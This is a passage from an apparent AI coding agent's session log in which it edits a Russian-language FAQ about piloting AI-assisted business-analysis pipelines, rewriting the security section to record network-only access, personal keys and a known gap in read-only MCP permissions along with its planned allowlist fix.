\u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:55.712Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:55.712Z] [INFO]       {\n[2026-09-29T07:55:55.712Z] [INFO]         \"oldStart\": 423,\n[2026-09-29T07:55:55.712Z] [INFO]         \"oldLines\": 12,\n[2026-09-29T07:55:55.712Z] [INFO]         \"newStart\": 423,\n[2026-09-29T07:55:55.712Z] [INFO]         \"newLines\": 22,\n[2026-09-29T07:55:55.712Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:55.712Z] [INFO]           \" \",\n[2026-09-29T07:55:55.712Z] [INFO]           \" ### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\",\n[2026-09-29T07:55:55.712Z] [INFO]           \" \",\n[2026-09-29T07:55:55.712Z] [INFO]           \"-\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"-\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"-\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"-\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"-\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+[ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+Endpoint Mango AI \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 VPN. \u041a\u043b\u044e\u0447\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442. \u041f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b,\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0442\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0434\u0443\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+PR \u0432 Source \u0438 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439.\",\n[2026-09-29T07:55:55.712Z] [INFO]           \" \",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u041f\u0440\u043e\u0431\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c: \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f Jira \u0438 Confluence\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u0447\u0435\u0440\u0435\u0437 MCP \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+([\u0413-12](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-12)).\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0412\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043e\u0434\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0430\u043c\u0430.\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\",\n[2026-09-29T07:55:55.712Z] [INFO]           \" ### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\",\n[2026-09-29T07:55:55.712Z] [INFO]           \" \",\n[2026-09-29T07:55:55.712Z] [INFO]           \" \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\"\n[2026-09-29T07:55:55.712Z] [INFO]         ]\n[2026-09-29T07:55:55.712Z] [INFO]       }\n[2026-09-29T07:55:55.712Z] [INFO]     ],\n[2026-09-29T07:55:55.712Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:55.712Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:55.712Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:55.712Z] [INFO]   }\n[2026-09-29T07:55:55.712Z] [INFO] }\n[2026-09-29T07:55:57.701Z] [INFO] {\n[2026-09-29T07:55:57.701Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:57.701Z] [INFO]   \"message\": {\n[2026-09-29T07:55:57.701Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:57.701Z] [INFO]     \"id\": \"msg_011CfXNXzdyCp51htuBrcg98\",\n[2026-09-29T07:55:57.701Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:57.701Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:57.701Z] [INFO]     \"content\": [\n[2026-09-29T07:55:57.701Z] [INFO]       {\n[2026-09-29T07:55:57.701Z] [INFO]         \"type\": 